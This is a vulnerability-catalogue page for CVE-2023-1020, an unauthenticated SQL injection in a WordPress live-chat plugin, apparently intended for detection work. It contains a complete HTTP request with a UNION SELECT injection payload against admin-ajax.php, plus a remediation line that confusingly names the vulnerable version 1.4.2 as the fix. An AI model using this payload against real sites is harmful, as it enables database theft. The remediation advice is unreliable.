🔙 목록으로 돌아가기

CVE-2023-1020: Steveas WP Live Chat Shoutbox <= 1.4.2 - SQL Injection

TitleSteveas WP Live Chat Shoutbox <= 1.4.2 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactUnauthenticated attackers can execute SQL injection through AJAX actions to extract the complete WordPress database including chat logs and user credentials.
RemediationUpdate to the latest version of the Steveas WP Live Chat Shoutbox plugin (1.4.2) or apply the vendor-provided patch to fix the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.80433
CVE IDCVE-2023-1020
CWE IDCWE-89
Tags cve2023 cve wpscan sqli wordpress wp-plugin wp wp-shoutbox-live-chat wp_live_chat_shoutbox_project vkev vuln

🔍 Vulnerability Description

The Steveas WP Live Chat Shoutbox WordPress plugin through 1.4.2 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Connection: close
Content-Length: 213
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

action=shoutbox-ajax-update-messages&last_timestamp=0)+UNION+ALL+SELECT+NULL,NULL,(SELECT+CONCAT(0x6338633630353939396633643833353264376262373932636633666462323562)),NULL,NULL,NULL,NULL,NULL--+&rooms%5B%5D=default

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1020.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-1020.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A